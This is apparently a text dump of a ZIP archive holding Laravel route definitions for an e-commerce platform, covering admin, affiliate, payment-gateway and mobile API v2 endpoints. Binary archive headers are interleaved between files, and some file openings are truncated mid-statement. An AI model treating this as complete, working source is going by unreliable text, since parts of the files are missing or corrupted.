Route::post('/colors/store', 'store_color')->name('colors.store'); Route::get('/colors/edit/{id}', 'edit_color')->name('colors.edit'); Route::post('/colors/update/{id}', 'update_color')->name('colors.update'); Route::get('/colors/destroy/{id}', 'destroy_color')->name('colors.destroy'); }); // Size Chart Route::resource('size-charts', SizeChartController::class); Route::get('/size-charts/destroy/{id}', [SizeChartController::class, 'destroy'])->name('size-charts.destroy'); Route::post('size-charts/get-combination', [SizeChartController::class, 'get_combination'])->name('size-charts.get-combination'); // Measurement Points Route::resource('measurement-points', MeasurementPointsController::class); Route::get('/measurement-points/destroy/{id}', [MeasurementPointsController::class, 'destroy'])->name('measurement-points.destroy'); // Addon // CJ Dropshipping Integration Route::controller(CjController::class)->prefix('cj')->group(function () { Route::get('/', 'index')->name('cj.index'); Route::post('/settings', 'saveSettings')->name('cj.settings.save'); Route::post('/health-check', 'healthCheck')->name('cj.health-check'); Route::get('/import', 'importPage')->name('cj.import'); Route::post('/import/by-ids', 'importByIds')->name('cj.import.by-ids'); Route::post('/import/json', 'importFromJson')->name('cj.import.json'); Route::get('/queue', 'queuePage')->name('cj.queue'); Route::post('/queue/{id}/send', 'sendQueued')->name('cj.queue.send'); Route::post('/sync-now', 'runSyncNow')->name('cj.sync-now'); Route::get('/logs', 'logsPage')->name('cj.logs'); }); // Staff Activity Monitoring Route::controller(StaffActivityLogController::class)->group(function () { Route::get('/staff/activity-logs', 'index')->name('staff.activity.logs'); }); Route::resource('addons', AddonController::class); Route::post('/addons/activation', [AddonController::class, 'activation'])->name('addons.activation'); //Customer Package Route::resource('customer_packages', CustomerPackageController::class); Route::controller(CustomerPackageController::class)->group(function () { Route::get('/customer_packages/edit/{id}', 'edit')->name('customer_packages.edit'); Route::get('/customer_packages/destroy/{id}', 'destroy')->name('customer_packages.destroy'); }); //Classified Products Route::controller(CustomerProductController::class)->group(function () { Route::get('/classified_products', 'customer_product_index')->name('classified_products'); Route::post('/classified_products/published', 'updatePublished')->name('classified_products.published'); Route::get('/classified_products/destroy/{id}', 'destroy_by_admin')->name('classified_products.destroy'); }); // Countries Route::resource('countries', CountryController::class); Route::post('/countries/status', [CountryController::class, 'updateStatus'])->name('countries.status'); // States Route::resource('states', StateController::class); Route::post('/states/status', [StateController::class, 'updateStatus'])->name('states.status'); // Carriers Route::resource('carriers', CarrierController::class); Route::controller(CarrierController::class)->group(function () { Route::get('/carriers/destroy/{id}', 'destroy')->name('carriers.destroy'); Route::post('/carriers/update_status', 'updateStatus')->name('carriers.update_status'); }); // Zones Route::resource('zones', ZoneController::class); Route::get('/zones/destroy/{id}', [ZoneController::class, 'destroy'])->name('zones.destroy'); Route::resource('cities', CityController::class); Route::controller(CityController::class)->group(function () { Route::get('/cities/edit/{id}', 'edit')->name('cities.edit'); Route::get('/cities/destroy/{id}', 'destroy')->name('cities.destroy'); Route::post('/cities/status', 'updateStatus')->name('cities.status'); Route::get('/get-cities-by-state', 'getCities')->name('get-cities-by-state'); Route::get('/get-cities-by-country', 'getCitiesByCountry')->name('get-cities-by-country'); }); //Areas Route::resource('areas', AreaController::class); Route::controller(AreaController::class)->group(function () { Route::get('/areas/edit/{id}', 'edit')->name('areas.edit'); Route::get('/areas/destroy/{id}', 'destroy')->name('areas.destroy'); Route::post('/areas/status', 'updateStatus')->name('areas.status'); }); Route::controller(AddressController::class)->group(function () { Route::post('/get-states', 'getStates')->name('admin.get-state'); }); Route::view('/system/update', 'backend.system.update')->name('system_update'); Route::view('/system/server-status', 'backend.system.server_status')->name('system_server'); Route::view('/system/import-demo-data', 'backend.system.import_demo_data')->name('import_demo_data'); Route::post('/import-data', [BusinessSettingsController::class, 'import_data'])->name('import_data'); // uploaded files Route::resource('/uploaded-files', AizUploadController::class); Route::controller(AizUploadController::class)->group(function () { Route::any('/uploaded-files/file-info', 'file_info')->name('uploaded-files.info'); Route::get('/uploaded-files/destroy/{id}', 'destroy')->name('uploaded-files.destroy'); Route::post('/bulk-uploaded-files-delete', 'bulk_uploaded_files_delete')->name('bulk-uploaded-files-delete'); Route::get('/all-file', 'all_file'); }); Route::controller(NotificationController::class)->group(function () { Route::get('/all-notifications', 'adminIndex')->name('admin.all-notifications'); Route::get('/notification-settings', 'notificationSettings')->name('notification.settings'); Route::post('/notifications/bulk-delete', 'bulkDeleteAdmin')->name('admin.notifications.bulk_delete'); Route::get('/notification/read-and-redirect/{id}', 'readAndRedirect')->name('admin.notification.read-and-redirect'); Route::get('/custom-notification', 'customNotification')->name('custom_notification'); Route::post('/custom-notification/send', 'sendCustomNotification')->name('custom_notification.send'); Route::get('/custom-notification/history', 'customNotificationHistory')->name('custom_notification.history'); Route::get('/custom-notifications.delete/{identifier}', 'customNotificationSingleDelete')->name('custom-notifications.delete'); Route::post('/custom-notifications.bulk_delete', 'customNotificationBulkDelete')->name('custom-notifications.bulk_delete'); Route::post('/custom-notified-customers-list', 'customNotifiedCustomersList')->name('custom_notified_customers_list'); }); Route::resource('notification-type', NotificationTypeController::class); Route::controller(NotificationTypeController::class)->group(function () { Route::get('/notification-type/edit/{id}', 'edit')->name('notification-type.edit'); Route::post('/notification-type/update-status', 'updateStatus')->name('notification-type.update-status'); Route::get('/notification-type/destroy/{id}', 'destroy')->name('notification-type.destroy'); Route::post('/notification-type/bulk_delete', 'bulkDelete')->name('notifications-type.bulk_delete'); Route::post('/notification-type.get-default-text', 'getDefaulText')->name('notification_type.get_default_text'); }); Route::get('/clear-cache', [AdminController::class, 'clearCache'])->name('cache.clear'); Route::get('/admin-permissions', [RoleController::class, 'create_admin_permissions']); //Sitemap Generator Route::get('/system/sitemap-generator', [AdminController::class, 'SitemapGenerator'])->name('sitemap_generator'); Route::post('/system/generate-sitemap', [AdminController::class, 'DoSitemapGenerate'])->name('generate_sitemap'); Route::post('/system/delete-sitemap', [AdminController::class, 'DeleteSitemapFile'])->name('delete_sitemap'); Route::post('/system/download-old-sitemap', [AdminController::class, 'DownloadSingleSitemapFile'])->name('download_old_sitemap'); //Custom Visitors Setup Route::view('/custom-product-visitors', 'backend.marketing.custom_product_visitors')->name('custom_product_visitors'); //Update Process Route::controller(NewUpdateController::class)->group(function () { Route::post('/update', 'step0')->name('new_update'); }); Route::controller(PickupController::class)->group(function () { Route::get('/pickup-address-list', 'index')->name('pickup_address.index'); Route::get('/pickup-address-create', 'create')->name('pickup_address.create'); Route::post('/pickup-address-store', 'store')->name('pickup_address.store'); Route::get('/pickup-address-edit/{id}', 'edit')->name('pickup_address.edit'); Route::post('/pickup-address-update/{id}', 'update')->name('pickup_address.update'); Route::get('/pickup-address-delete/{id}', 'destroy')->name('pickup_address.delete'); Route::post('/pickup-addresses', 'getPickupAddresses')->name('pickup.addresses.list'); Route::post('/bulk-pickup-addresses-delete', 'bulk_delete')->name('bulk-pickup-addresses-delete'); Route::get('/pickup-addresses/filter', 'filter')->name('pickup_addresses.filter'); Route::post('/pickup-addresses/featured', 'updateStatus')->name('pickup_addresses.status'); }); Route::controller(ShippingBoxSizeController::class)->group(function () { Route::get('/shipping-box-size-list', 'index')->name('shipping_box_size.index'); Route::get('/shipping-box-size-create', 'create')->name('shipping_box_size.create'); Route::post('/shipping-box-size-store', 'store')->name('shipping_box_size.store'); Route::get('/shipping-box-size-edit/{id}', 'edit')->name('shipping_box_size.edit'); Route::post('/shipping-box-size-update/{id}', 'update')->name('shipping_box_size.update'); Route::get('/shipping-box-size-delete/{id}', 'destroy')->name('shipping_box_size.delete'); Route::post('/shipping-box-sizes', 'getBoxSizes')->name('box.sizes.list'); Route::post('/bulk-shipping-box-sizes-delete', 'bulk_delete')->name('bulk-shipping-box-sizes-delete'); Route::get('/shipping-box-sizes/filter', 'filter')->name('shipping_box_sizes.filter'); }); Route::controller(ShippingSystemController::class)->group(function () { Route::get('/shiprocket-configuration', 'shiprocket_configuration')->name('shiprocket_configuration'); Route::get('/steadfast-configuration', 'steadfast_configuration')->name('steadfast_configuration'); Route::get('/pathao-configuration', 'pathao_configuration')->name('pathao_configuration'); Route::get('/redx-configuration', 'redx_configuration')->name('redx_configuration'); }); Route::controller(FinalUpdateController::class)->group(function () { Route::post('/update', 'step0')->name('final_update'); }); Route::controller(AnalyticsController::class)->group(function () { Route::get('/marketing-analytics-dashboard', 'dashboard')->name('marketing_analytics_dashboard'); Route::get('/google-analytics-report', 'google_analytics_report')->name('google-analytics-test.result'); Route::get('/google-analytics', 'google_analytics_config')->name('google-analytics-config'); Route::get('/google-tag-manager', 'google_tag_manager')->name('google-tag-manager-config'); Route::get('/pixel-analytics/configuration', 'pixel_analytics')->name('pixel_analytics.index'); Route::get('/pixel-capi/configuration', 'pixel_conversation_api')->name('pixel_conversation_api.index'); Route::get('/custom-script', 'custom_script')->name('custom_script'); Route::get('/global-seo', 'global_seo')->name('global_seo'); }); Route::controller(AIController::class)->group(function () { Route::get('/token-usage', 'ai_token_usage')->name('ai-token-usege'); Route::get('/ai-configuration', 'ai_configuration')->name('ai-config'); Route::get('/ai-templates', 'ai_templates')->name('ai-prompt-templates-config'); Route::patch('/ai-templates/{id}','update')->name('ai-prompt-templates.update'); Route::get('/ai-add-edit-products','add_edit_products')->name('ai-add_edit_products'); }); Route::controller(MarketingController::class)->group(function () { Route::get('/marketing-dashboard', 'dashboard')->name('marketing_dashboard'); }); }); Route::get('/system/sitemap-item-add/{item}', [AdminController::class, 'SitemapItems'])->name('sitemap_item_add'); PKÌN]mµ‚¢““ affiliate.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(AffiliateController::class)->group(function () { Route::get('/affiliate', 'index')->name('affiliate.index'); Route::post('/affiliate/affiliate_option_store', 'affiliate_option_store')->name('affiliate.store'); Route::get('/affiliate/configs', 'configs')->name('affiliate.configs'); Route::post('/affiliate/configs/store', 'config_store')->name('affiliate.configs.store'); Route::get('/affiliate/users', 'users')->name('affiliate.users'); Route::get('/affiliate/verification/{id}', 'show_verification_request')->name('affiliate_users.show_verification_request'); Route::get('/affiliate/approve/{id}', 'approve_user')->name('affiliate_user.approve'); Route::get('/affiliate/reject/{id}', 'reject_user')->name('affiliate_user.reject'); Route::post('/affiliate/approved', 'updateApproved')->name('affiliate_user.approved'); Route::post('/affiliate/payment_modal', 'payment_modal')->name('affiliate_user.payment_modal'); Route::post('/affiliate/pay/store', 'payment_store')->name('affiliate_user.payment_store'); Route::get('/affiliate/payments/show/{id}', 'payment_history')->name('affiliate_user.payment_history'); Route::get('/refferal/users', 'refferal_users')->name('refferals.users'); // Affiliate Withdraw Request Route::get('/affiliate/withdraw_requests', 'affiliate_withdraw_requests')->name('affiliate.withdraw_requests'); Route::post('/affiliate/affiliate_withdraw_modal', 'affiliate_withdraw_modal')->name('affiliate_withdraw_modal'); Route::post('/affiliate/withdraw_request/payment_store', 'withdraw_request_payment_store')->name('withdraw_request.payment_store'); Route::get('/affiliate/withdraw_request/reject/{id}', 'reject_withdraw_request')->name('affiliate.withdraw_request.reject'); Route::get('/affiliate/logs', 'affiliate_logs_admin')->name('affiliate.logs.admin'); }); }); //FrontEnd Route::controller(AffiliateController::class)->group(function () { Route::get('/affiliate', 'apply_for_affiliate')->name('affiliate.apply'); Route::post('/affiliate/store', 'store_affiliate_user')->name('affiliate.store_affiliate_user'); }); Route::group(['middleware' => ['auth']], function(){ Route::controller(AffiliateController::class)->group(function () { Route::get('/affiliate/user', 'user_index')->name('affiliate.user.index'); Route::get('/affiliate/user/payment_history', 'user_payment_history')->name('affiliate.user.payment_history'); Route::get('/affiliate/user/withdraw_request_history', 'user_withdraw_request_history')->name('affiliate.user.withdraw_request_history'); Route::get('/affiliate/payment/settings', 'payment_settings')->name('affiliate.payment_settings'); Route::post('/affiliate/payment/settings/store', 'payment_settings_store')->name('affiliate.payment_settings_store'); // Affiliate Withdraw Request Route::post('/affiliate/withdraw_request/store', 'withdraw_request_store')->name('affiliate.withdraw_request.store'); }); }); PKÌN]9©Ù” ” african_pg.phpnu„[µü¤group(function () { Route::get('/african/credentials_index', 'credentials_index')->name('african_credentials.index'); }); //Mpesa Route::prefix('lnmo')->group(function () { Route::controller(MpesaController::class)->group(function () { Route::post('mpesa_pay', 'payment_complete')->name('mpesa.pay'); Route::any('pay', 'mpesa_pay'); Route::any('validate', 'validation'); Route::any('confirm', 'confirmation'); Route::any('results', 'results'); Route::any('register', 'register'); Route::any('timeout', 'timeout'); Route::any('reconcile', 'reconcile'); }); }); //Mpesa End // RaveController start Route::get('/rave/callback', [FlutterwaveController::class, 'callback'])->name('flutterwave.callback'); // RaveController end //Payfast routes Route::controller(PayfastController::class)->group(function () { Route::any('/payfast/checkout/notify', 'checkout_notify')->name('payfast.checkout.notify'); Route::any('/payfast/checkout/return', 'checkout_return')->name('payfast.checkout.return'); Route::any('/payfast/checkout/cancel', 'checkout_cancel')->name('payfast.checkout.cancel'); Route::any('/payfast/order_re_payment/notify', 'order_re_payment_notify')->name('payfast.order_re_payment.notify'); Route::any('/payfast/order_re_payment/return', 'order_re_payment_return')->name('payfast.order_re_payment.return'); Route::any('/payfast/order_re_payment/cancel', 'order_re_payment_cancel')->name('payfast.order_re_payment.cancel'); Route::any('/payfast/wallet/notify', 'wallet_notify')->name('payfast.wallet.notify'); Route::any('/payfast/wallet/return', 'wallet_return')->name('payfast.wallet.return'); Route::any('/payfast/wallet/cancel', 'wallet_cancel')->name('payfast.wallet.cancel'); Route::any('/payfast/seller_package_payment/notify', 'seller_package_notify')->name('payfast.seller_package_payment.notify'); Route::any('/payfast/seller_package_payment/return', 'seller_package_payment_return')->name('payfast.seller_package_payment.return'); Route::any('/payfast/seller_package_payment/cancel', 'seller_package_payment_cancel')->name('payfast.seller_package_payment.cancel'); Route::any('/payfast/customer_package_payment/notify', 'customer_package_notify')->name('payfast.customer_package_payment.notify'); Route::any('/payfast/customer_package_payment/return', 'customer_package_return')->name('payfast.customer_package_payment.return'); Route::any('/payfast/customer_package_payment/cancel', 'customer_package_cancel')->name('payfast.customer_package_payment.cancel'); }); //Payfast routes PKÌN]F];X¹|¹|api.phpnu„[µü¤ 'v2/auth', 'middleware' => ['app_language']], function () { Route::post('info', [AuthController::class, 'getUserInfoByAccessToken']); Route::controller(AuthController::class)->group(function () { Route::post('login', 'login'); Route::post('signup', 'signup'); Route::post('social-login', 'socialLogin'); }); Route::middleware('auth:sanctum')->group(function () { Route::controller(AuthController::class)->group(function () { Route::get('logout', 'logout'); Route::get('user', 'user'); Route::get('account-deletion', 'account_deletion'); Route::get('resend_code', 'resendCode'); Route::post('confirm_code', 'confirmCode'); }); }); Route::controller(PasswordResetController::class)->group(function () { Route::post('password/forget_request', 'forgetRequest'); Route::post('password/confirm_reset', 'confirmReset'); Route::post('password/resend_code', 'resendCode'); }); }); Route::group(['prefix' => 'v2', 'middleware' => ['app_language']], function () { //auth controller Route::post('guest-user-account-create', [AuthController::class, 'guestUserAccountCreate']); // auction products routes Route::controller(AuctionProductController::class)->group(function () { Route::get('auction/products', 'index'); Route::get('auction/products/{slug}', 'details_auction_product'); Route::get('auction/bided-products', 'bided_products_list')->middleware('auth:sanctum'); Route::get('auction/purchase-history', 'user_purchase_history')->middleware('auth:sanctum'); }); Route::post('auction/place-bid', [AuctionProductBidController::class, 'store'])->middleware('auth:sanctum'); Route::prefix('delivery-boy')->group(function () { Route::controller(DeliveryBoyController::class)->group(function () { Route::get('earning/{id}', 'earning')->middleware('auth:sanctum'); Route::get('collection/{id}', 'collection')->middleware('auth:sanctum'); Route::get('cancel-request/{id}', 'cancel_request')->middleware('auth:sanctum'); Route::get('earning-summary/{id}', 'earning_summary')->middleware('auth:sanctum'); Route::get('dashboard-summary/{id}', 'dashboard_summary')->middleware('auth:sanctum'); Route::get('collection-summary/{id}', 'collection_summary')->middleware('auth:sanctum'); Route::get('deliveries/assigned/{id}', 'assigned_delivery')->middleware('auth:sanctum'); Route::get('deliveries/completed/{id}', 'completed_delivery')->middleware('auth:sanctum'); Route::get('deliveries/cancelled/{id}', 'cancelled_delivery')->middleware('auth:sanctum'); Route::get('deliveries/picked_up/{id}', 'picked_up_delivery')->middleware('auth:sanctum'); Route::post('change-delivery-status', 'change_delivery_status')->middleware('auth:sanctum'); Route::get('deliveries/on_the_way/{id}', 'on_the_way_delivery')->middleware('auth:sanctum'); //Delivery Boy Order Route::get('purchase-history-details/{id}', [DeliveryBoyController::class, 'details'])->middleware('auth:sanctum'); Route::get('purchase-history-items/{id}', [DeliveryBoyController::class, 'items'])->middleware('auth:sanctum'); }); }); Route::apiResource('carts', CartController::class)->only('destroy'); Route::controller(CartController::class)->group(function () { Route::post('cart-summary', 'summary'); Route::post('cart-count', 'count'); Route::post('carts/process', 'process'); Route::post('carts/add', 'add'); Route::post('carts/change-quantity', 'changeQuantity'); Route::post('carts', 'getList'); Route::post('guest-customer-info-check', 'guestCustomerInfoCheck'); Route::post('updateCartStatus', 'updateCartStatus'); }); Route::controller(CheckoutController::class)->group(function () { Route::post('coupon-apply', 'apply_coupon_code'); Route::post('coupon-remove', 'remove_coupon_code'); }); Route::controller(CouponController::class)->group(function () { Route::get('coupon-list', 'couponList'); Route::get('coupon-products/{id}', 'getCouponProducts'); }); Route::controller(ShippingController::class)->group(function () { Route::post('delivery-info', 'getDeliveryInfo'); Route::post('shipping_cost', 'shipping_cost'); }); Route::post('carriers', [CarrierController::class, 'index']); Route::controller(AddressController::class)->group(function () { Route::post('update-address-in-cart', 'updateAddressInCart'); Route::post('update-shipping-type-in-cart', 'updateShippingTypeInCart'); }); Route::get('payment-types', [PaymentTypesController::class, 'getList']); // un banned users Route::group(['middleware' => ['app_user_unbanned']], function () { // customer downloadable product list Route::get('/digital/purchased-list', 'App\Http\Controllers\Api\V2\PurchaseHistoryController@digital_purchased_list')->middleware('auth:sanctum'); Route::get('/purchased-products/download/{id}', 'App\Http\Controllers\Api\V2\DigitalProductController@download')->middleware('auth:sanctum'); Route::get('wallet/history', [WalletController::class, 'walletRechargeHistory'])->middleware('auth:sanctum'); Route::controller(ChatController::class)->group(function () { Route::get('chat/conversations', 'conversations')->middleware('auth:sanctum'); Route::post('chat/conversations/show', 'conversations_show')->middleware('auth:sanctum'); Route::get('chat/messages/{id}', 'messages')->middleware('auth:sanctum'); Route::post('chat/insert-message', 'insert_message')->middleware('auth:sanctum'); Route::get('chat/get-new-messages/{conversation_id}/{last_message_id}', 'get_new_messages')->middleware('auth:sanctum'); Route::post('chat/create-conversation', 'create_conversation')->middleware('auth:sanctum'); }); Route::controller(PurchaseHistoryController::class)->group(function () { Route::get('purchase-history', 'index')->middleware('auth:sanctum'); Route::get('purchase-history-details/{id}', 'details')->middleware('auth:sanctum'); Route::get('purchase-history-items/{id}', 'items')->middleware('auth:sanctum'); Route::get('re-order/{id}', 're_order')->middleware('auth:sanctum'); }); Route::get('invoice/download/{id}', [InvoiceController::class, 'invoice_download'])->middleware('auth:sanctum'); Route::prefix('classified')->group(function () { Route::controller(CustomerProductController::class)->group(function () { Route::get('/own-products', 'ownProducts')->middleware('auth:sanctum'); Route::post('/store', 'store')->middleware('auth:sanctum'); Route::post('/update/{id}', 'update')->middleware('auth:sanctum'); Route::delete('/delete/{id}', 'delete')->middleware('auth:sanctum'); Route::post('/change-status/{id}', 'changeStatus')->middleware('auth:sanctum'); }); }); Route::get('customer/info', 'App\Http\Controllers\Api\V2\CustomerController@show')->middleware('auth:sanctum'); Route::get('get-home-delivery-address', [AddressController::class, 'getShippingInCart'])->middleware('auth:sanctum'); // review Route::post('reviews/submit', [ReviewController::class, 'submit'])->name('api.reviews.submit')->middleware('auth:sanctum'); Route::get('shop/user/{id}', [ShopController::class, 'shopOfUser'])->middleware('auth:sanctum'); //Follow Route::controller(FollowSellerController::class)->group(function () { Route::get('/followed-seller', 'index')->middleware('auth:sanctum'); Route::get('/followed-seller/store/{id}', 'store')->middleware('auth:sanctum'); Route::get('/followed-seller/remove/{shopId}', 'remove')->middleware('auth:sanctum'); Route::get('/followed-seller/check/{shopId}', 'checkFollow')->middleware('auth:sanctum'); }); // Wishlist Route::controller(WishlistController::class)->middleware('auth:sanctum')->group(function () { Route::get('wishlists-check-product/{product_slug}', 'isProductInWishlist'); Route::get('wishlists-add-product/{product_slug}', 'add'); Route::get('wishlists-remove-product/{product_slug}', 'remove'); Route::get('wishlists', 'index'); }); // addresses Route::controller(AddressController::class)->middleware('auth:sanctum')->group(function () { Route::get('user/shipping/address', 'addresses'); Route::post('user/shipping/create', 'createShippingAddress'); Route::post('user/shipping/update', 'updateShippingAddress'); Route::post('user/shipping/update-location', 'updateShippingAddressLocation'); Route::post('user/shipping/make_default', 'makeShippingAddressDefault'); Route::get('user/shipping/delete/{address_id}', 'deleteShippingAddress'); }); Route::get('clubpoint/get-list', 'App\Http\Controllers\Api\V2\ClubpointController@get_list')->middleware('auth:sanctum'); Route::post('clubpoint/convert-into-wallet', 'App\Http\Controllers\Api\V2\ClubpointController@convert_into_wallet')->middleware('auth:sanctum'); Route::get('refund-request/get-list', 'App\Http\Controllers\Api\V2\RefundRequestController@get_list')->middleware('auth:sanctum'); Route::post('refund-request/send', 'App\Http\Controllers\Api\V2\RefundRequestController@send')->middleware('auth:sanctum'); Route::post('dispute-refund-request/send/{id}', 'App\Http\Controllers\Api\V2\RefundRequestController@dispute_send')->middleware('auth:sanctum'); Route::get('bkash/begin', 'App\Http\Controllers\Api\V2\BkashController@begin')->middleware('auth:sanctum'); Route::get('nagad/begin', 'App\Http\Controllers\Api\V2\NagadController@begin')->middleware('auth:sanctum'); Route::post('payments/pay/wallet', 'App\Http\Controllers\Api\V2\WalletController@processPayment')->middleware('auth:sanctum'); Route::post('payments/pay/cod', 'App\Http\Controllers\Api\V2\PaymentController@cashOnDelivery')->middleware('auth:sanctum'); Route::post('payments/pay/manual', 'App\Http\Controllers\Api\V2\PaymentController@manualPayment')->middleware('auth:sanctum'); Route::post('order/store', [OrderController::class, 'store'])->middleware('auth:sanctum'); Route::get('order/cancel/{id}', 'App\Http\Controllers\Api\V2\OrderController@order_cancel')->middleware('auth:sanctum'); Route::get('profile/counters', 'App\Http\Controllers\Api\V2\ProfileController@counters')->middleware('auth:sanctum'); Route::post('profile/update', 'App\Http\Controllers\Api\V2\ProfileController@update')->middleware('auth:sanctum'); Route::post('profile/update-device-token', 'App\Http\Controllers\Api\V2\ProfileController@update_device_token')->middleware('auth:sanctum'); Route::post('profile/update-image', 'App\Http\Controllers\Api\V2\ProfileController@updateImage')->middleware('auth:sanctum'); Route::post('profile/image-upload', 'App\Http\Controllers\Api\V2\ProfileController@imageUpload')->middleware('auth:sanctum'); Route::post('profile/check-phone-and-email', 'App\Http\Controllers\Api\V2\ProfileController@checkIfPhoneAndEmailAvailable')->middleware('auth:sanctum'); Route::post('file/image-upload', 'App\Http\Controllers\Api\V2\FileController@imageUpload')->middleware('auth:sanctum'); Route::get('file-all', 'App\Http\Controllers\Api\V2\FileController@index')->middleware('auth:sanctum'); Route::post('file/upload', 'App\Http\Controllers\Api\V2\AizUploadController@upload')->middleware('auth:sanctum'); Route::get('wallet/balance', [WalletController::class, 'balance'])->middleware('auth:sanctum'); Route::post('wallet/offline-recharge', [WalletController::class, 'offline_recharge'])->middleware('auth:sanctum'); Route::controller(CustomerPackageController::class)->group(function () { Route::post('offline/packages-payment', 'purchase_package_offline')->middleware('auth:sanctum'); Route::post('free/packages-payment', 'purchase_package_free')->middleware('auth:sanctum'); }); // Notification Route::controller(NotificationController::class)->group(function () { Route::get('all-notification', 'allNotification')->middleware('auth:sanctum'); Route::get('unread-notifications', 'unreadNotifications')->middleware('auth:sanctum'); Route::post('notifications/bulk-delete', 'bulkDelete')->middleware('auth:sanctum'); Route::get('notifications/mark-as-read', 'notificationMarkAsRead')->middleware('auth:sanctum'); }); Route::get('products/last-viewed', [ProductController::class, 'lastViewedProducts'])->middleware('auth:sanctum'); }); //end user bann Route::controller(OnlinePaymentController::class)->group(function () { Route::get('online-pay/init', 'init')->middleware('auth:sanctum'); Route::get('online-pay/success', 'paymentSuccess'); Route::get('online-pay/done', 'paymentDone'); Route::get('online-pay/failed', 'paymentFailed'); }); Route::get('get-search-suggestions', [SearchSuggestionController::class, 'getList']); Route::get('languages', [LanguageController::class, 'getList']); Route::controller(CustomerProductController::class)->group(function () { Route::get('classified/all', 'all'); Route::get('classified/related-products/{slug}', 'relatedProducts'); Route::get('classified/product-details/{slug}', 'productDetails'); }); Route::get('refund-request/reason', 'App\Http\Controllers\Api\V2\RefundRequestController@reasonList'); Route::get('refund-request/details/{id}', 'App\Http\Controllers\Api\V2\RefundRequestController@details'); Route::get('payment-info/list', 'App\Http\Controllers\Api\V2\PaymentInformationController@list')->middleware('auth:sanctum'); Route::post('payment-info/store', 'App\Http\Controllers\Api\V2\PaymentInformationController@store')->middleware('auth:sanctum'); Route::post('payment-info/update/{id}', 'App\Http\Controllers\Api\V2\PaymentInformationController@update')->middleware('auth:sanctum'); Route::get('offline-payout/list', 'App\Http\Controllers\Api\V2\OfflinePayoutController@list'); Route::get('seller/top', 'App\Http\Controllers\Api\V2\SellerController@topSellers'); Route::apiResource('banners', 'App\Http\Controllers\Api\V2\BannerController')->only('index'); Route::get('brands/top', 'App\Http\Controllers\Api\V2\BrandController@top'); Route::get('all-brands', [ProductController::class, 'getBrands'])->name('allBrands'); Route::apiResource('brands', 'App\Http\Controllers\Api\V2\BrandController')->only('index'); Route::apiResource('business-settings', 'App\Http\Controllers\Api\V2\BusinessSettingController')->only('index'); Route::get('category/info/{slug}', 'App\Http\Controllers\Api\V2\CategoryController@info'); Route::get('categories/featured', 'App\Http\Controllers\Api\V2\CategoryController@featured'); Route::get('categories/home', 'App\Http\Controllers\Api\V2\CategoryController@home'); Route::get('categories/top', 'App\Http\Controllers\Api\V2\CategoryController@top'); Route::apiResource('categories', 'App\Http\Controllers\Api\V2\CategoryController')->only('index'); Route::get('sub-categories/{id}', 'App\Http\Controllers\Api\V2\SubCategoryController@index')->name('subCategories.index'); Route::apiResource('colors', 'App\Http\Controllers\Api\V2\ColorController')->only('index'); Route::apiResource('currencies', 'App\Http\Controllers\Api\V2\CurrencyController')->only('index'); Route::apiResource('customers', 'App\Http\Controllers\Api\V2\CustomerController')->only('show'); Route::apiResource('general-settings', 'App\Http\Controllers\Api\V2\GeneralSettingController')->only('index'); Route::apiResource('home-categories', 'App\Http\Controllers\Api\V2\HomeCategoryController')->only('index'); Route::get('filter/categories', 'App\Http\Controllers\Api\V2\FilterController@categories'); Route::get('filter/brands', 'App\Http\Controllers\Api\V2\FilterController@brands'); Route::get('products/inhouse', 'App\Http\Controllers\Api\V2\ProductController@inhouse'); Route::get('products/seller/{id}', 'App\Http\Controllers\Api\V2\ProductController@seller'); Route::get('products/category/{slug}', 'App\Http\Controllers\Api\V2\ProductController@categoryProducts')->name('api.products.category'); Route::get('products/sub-category/{id}', 'App\Http\Controllers\Api\V2\ProductController@subCategory')->name('products.subCategory'); Route::get('products/sub-sub-category/{id}', 'App\Http\Controllers\Api\V2\ProductController@subSubCategory')->name('products.subSubCategory'); Route::get('products/brand/{slug}', 'App\Http\Controllers\Api\V2\ProductController@brand')->name('api.products.brand'); Route::get('products/todays-deal', 'App\Http\Controllers\Api\V2\ProductController@todaysDeal'); Route::get('products/featured', 'App\Http\Controllers\Api\V2\ProductController@featured'); Route::get('products/best-seller', 'App\Http\Controllers\Api\V2\ProductController@bestSeller'); Route::get('products/top-from-seller/{slug}', 'App\Http\Controllers\Api\V2\ProductController@topFromSeller'); Route::get('products/frequently-bought/{slug}', 'App\Http\Controllers\Api\V2\ProductController@frequentlyBought')->name('products.frequently_bought'); Route::get('products/featured-from-seller/{id}', 'App\Http\Controllers\Api\V2\ProductController@newFromSeller')->name('products.featuredromSeller'); Route::get('products/search', 'App\Http\Controllers\Api\V2\ProductController@search'); Route::post('products/variant/price', 'App\Http\Controllers\Api\V2\ProductController@getPrice'); Route::get('products/digital', 'App\Http\Controllers\Api\V2\ProductController@digital')->name('products.digital'); Route::apiResource('products', 'App\Http\Controllers\Api\V2\ProductController')->except(['store', 'update', 'destroy']); Route::get('products/{slug}/{user_id}', 'App\Http\Controllers\Api\V2\ProductController@product_details'); //Use this route outside of auth because initialy we created outside of auth we do not need auth initialy //We can't change it now because we didn't send token in header from mobile app. //We need the upload update Flutter app then we will write it in auth middleware. Route::controller(CustomerPackageController::class)->group(function () { Route::get("customer-packages", "customer_packages_list"); }); Route::get('reviews/product/{id}', 'App\Http\Controllers\Api\V2\ReviewController@index')->name('api.reviews.index'); Route::get('shops/details/{id}', 'App\Http\Controllers\Api\V2\ShopController@info')->name('shops.info'); Route::get('shops/products/all/{id}', 'App\Http\Controllers\Api\V2\ShopController@allProducts')->name('shops.allProducts'); Route::get('shops/products/top/{id}', 'App\Http\Controllers\Api\V2\ShopController@topSellingProducts')->name('shops.topSellingProducts'); Route::get('shops/products/featured/{id}', 'App\Http\Controllers\Api\V2\ShopController@featuredProducts')->name('shops.featuredProducts'); Route::get('shops/products/new/{id}', 'App\Http\Controllers\Api\V2\ShopController@newProducts')->name('shops.newProducts'); Route::get('shops/brands/{id}', 'App\Http\Controllers\Api\V2\ShopController@brands')->name('shops.brands'); Route::apiResource('shops', 'App\Http\Controllers\Api\V2\ShopController')->only('index'); Route::get('sliders', 'App\Http\Controllers\Api\V2\SliderController@sliders'); Route::get('banners-one', 'App\Http\Controllers\Api\V2\SliderController@bannerOne'); Route::get('banners-two', 'App\Http\Controllers\Api\V2\SliderController@bannerTwo'); Route::get('banners-three', 'App\Http\Controllers\Api\V2\SliderController@bannerThree'); Route::get('policies/seller', 'App\Http\Controllers\Api\V2\PolicyController@sellerPolicy')->name('policies.seller'); Route::get('policies/support', 'App\Http\Controllers\Api\V2\PolicyController@supportPolicy')->name('policies.support'); 